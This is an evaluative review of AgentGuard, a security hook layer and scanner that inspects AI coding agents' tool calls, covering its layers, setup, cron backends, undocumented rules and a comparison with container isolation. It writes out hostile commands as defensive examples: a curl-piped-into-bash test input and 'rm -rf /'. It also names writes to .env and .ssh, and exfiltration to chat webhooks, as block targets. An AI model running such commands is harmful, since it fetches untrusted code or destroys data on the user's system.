GoPlus AgentGuard: a runtime hook layer for AI coding agents

The gap AgentGuard is trying to close

A coding agent with terminal access can run any command, read any file, and install any skill. The README states the risk plainly: a malicious skill or prompt injection can steal keys, drain a wallet, or wipe a disk, because the agent itself has no security review step. AgentGuard is aimed at that moment, between the model deciding to call a tool and the tool actually running. The intended user is someone running an agent host on a workstation or server that holds credentials, particularly in Web3 workflows where the README lists wallet draining, unlimited token approvals, reentrancy and proxy exploits as scan targets. It is not aimed at teams who already isolate agents in throwaway containers or VMs with no secrets inside, because in that setup the blast radius is already bounded by the environment rather than by a hook.

Three layers, three different trust boundaries

The README describes three layers. Layer 1 is a hook installed into the agent host: it blocks destructive commands, prevents writes to .env, .ssh/ and credential files, detects exfiltration to Discord, Telegram or Slack webhooks, and records which skill initiated each action. Layer 2 is a scanner invoked with agentguard scan, running 24 detection rules over a local skill directory or a remote repository, combining static analysis for secrets, backdoors, obfuscation and prompt injection with the Web3 checks. Layer 3 is a scheduled patrol that the README calls OpenClaw, running 8 security checks on a configurable schedule and analyzing audit logs for attack patterns. The distinction matters: Layer 1 is synchronous and can stop an action, Layer 2 is advisory and produces a report about code before it is installed, and Layer 3 is retrospective. Only the first one actually prevents execution. The other two tell you what already happened or what you are about to install.

Evaluating a single action through stdin

The most useful primitive in the README is the protect subcommand, which takes one runtime action as JSON on stdin and returns a decision. The documented example is printf '{"tool_name":"Bash","tool_input":{"command":"curl https://example.com/install.sh | bash"}}' | agentguard protect. That shape tells you the evaluator is fed the tool name and the tool input, which means it can be wired into any host that exposes tool calls as structured data, not only the ones init auto-detects. The README does not document the response schema for protect, so you cannot tell from the supplied material whether it returns an allow or block verdict, a severity level, or a list of matched rules. That is the first thing to check in the source before building anything on top of it.

Getting it running

Installation is a global npm package followed by an initialization step. The README gives npm install -g @goplus/agentguard, then agentguard init, then agentguard status. It notes that the npm install runs a best-effort local bootstrap and that bare agentguard init is the required next step, which is an unusual split: the postinstall script is not sufficient on its own. Init auto-detects supported agents and configures their hooks or plugins. Inside DSH it installs a native AgentGuard bundle into the default web profile, and the README says to restart DSH afterward. No cloud account or network connection is required for the local runtime guard, which is the important detail for anyone who cannot send telemetry out. Scanning is separate: agentguard scan ./examples/vulnerable-skill for a local path, or agentguard scan https://github.com/owner/repository --json for a remote one, with --ref v1.2.3 to pick a branch or tag. The README recommends a full commit SHA when the scan must be reproducible, which is the correct instinct given that a branch can move between runs.

Cloud sync, advisories, and the cron backends

Everything past the local guard is optional and network-dependent. agentguard connect links AgentGuard Cloud policy and redacted audit sync; the README says that in OpenClaw, Hermes and DSH no API key is required after initialization because the CLI registers a local Agent JWT and prints an activation link, while API-key auth is also supported via AGENTGUARD_API_KEY=ag_live_xxxxx agentguard connect --url https://www.agentguard.one. agentguard subscribe pulls newly published advisories and asks you to review them; --quiet runs the pull, self-check and report in one pass. Cron installation is where the platform surface gets wide. The README lists separate backends for OpenClaw native cron with a Gateway fallback at 127.0.0.1:18789, QClaw Gateway at 127.0.0.1:28789, native Hermes cron, system crontab on Unix-like hosts, and Windows Task Scheduler. You can force one with --cron-target system, openclaw, qclaw, hermes or windows. Two constraints are stated explicitly: if you pass --cron-target openclaw while a different saved host exists, AgentGuard rejects the mismatch rather than installing a job that cannot notify correctly, and if no host is saved you must run agentguard init --agent <agent> first. System cron and Windows Task Scheduler write to ~/.agentguard/feed-cron.log, and Windows tasks run only while that user is logged on, with no password or SYSTEM account configured. Hermes cron writes a script under ~/.hermes/scripts/ and needs Hermes Gateway for scheduled execution. That is a lot of host-specific branching for one CLI, and each branch is a place where a silent misconfiguration is possible.

Where the evidence runs out

The README does not publish the 24 detection rules, so you cannot audit what is and is not covered before installing. It gives categories (secrets, backdoors, obfuscation, prompt injection, plus the Web3 list) but no rule names, no severity mapping, and no false-positive guidance. For a security tool that is a real gap: a rule set you cannot read is a rule set you cannot tune, and the failure mode of an over-broad rule is that it blocks legitimate work, which pushes users toward disabling the hook entirely. The same applies to the 8 patrol checks, which are named as categories rather than enumerated. The README also does not state how the hook behaves when the guard itself fails to run, which is the classic question for any inline policy gate: fail open and the protection is optional, fail closed and a broken install halts your agent. None of that is answered in the supplied material. Separately, the claim that this is "the first real-time security layer for AI agents" is a marketing assertion, not something the README supports with evidence.

How it differs from running the agent in a container

The obvious alternative is not another scanner but process isolation: run the agent inside a container or VM with a read-only filesystem, no host credential mounts, and no network egress except through a proxy. That approach differs from AgentGuard in kind, not degree. A container constrains what the process can reach regardless of what command it runs, so it does not need to recognize rm -rf / as a pattern; the command simply has nowhere destructive to point. AgentGuard instead inspects the command and decides, which means its coverage is bounded by its rule set and its accuracy depends on pattern matching against shell text that can be obfuscated, base64-encoded or split across multiple calls. The trade-off is real in both directions. Containers cost setup time and break workflows that need host credentials or a real wallet file. AgentGuard installs in three commands and works inside the agent you already use. If your threat model is a careless agent, the hook is proportionate. If it is an adversarial skill actively trying to evade detection, isolation is the stronger control and AgentGuard is a second layer rather than the first.

Maintenance cost and what the MIT licence leaves open

The repository is MIT-licensed, which permits commercial use, modification and redistribution provided the copyright notice and permission notice are retained. That is permissive and low-friction for embedding the CLI in an internal toolchain. It also means there is no warranty and no liability from the authors, so the security guarantee is entirely yours to validate. On maintenance, the release cadence visible in the material is two releases roughly ten weeks apart (v1.1.28 in June 2026, v1.1.29 in August 2026), with the last push in September 2026. The project is not archived. The upgrade cost is concentrated in the host integration surface rather than the CLI itself: init writes hooks and plugins into agent hosts, and subscribe writes cron entries into OpenClaw, QClaw, Hermes, system crontab or Task Scheduler depending on detection. Every one of those is external state that a new version may need to rewrite, which is why agentguard init and agentguard status are documented as re-runnable. The --force flag on subscribe exists to replace an existing cron job with the same name, which suggests duplicate-job drift is a known concern. Nothing here is legal advice; check the LICENSE file and your own obligations.

Editorial conclusion

Adopt AgentGuard if you run a coding agent on a machine that holds real credentials and you want a pre-execution block on patterns like rm -rf /, curl piped into bash, and writes to .env or .ssh. Do not adopt it if you need a kernel-level sandbox, a documented detection rule list, or reproducible scan results from a moving branch. Before trusting it, run agentguard scan against your own skill directory and read the 24 rule definitions in the source, then confirm the hook is actually registered for whichever host you use.

Official sources

1. GoPlusSecurity/agentguard on GitHub
2. Issues
3. License: MIT
4. README
5. Releases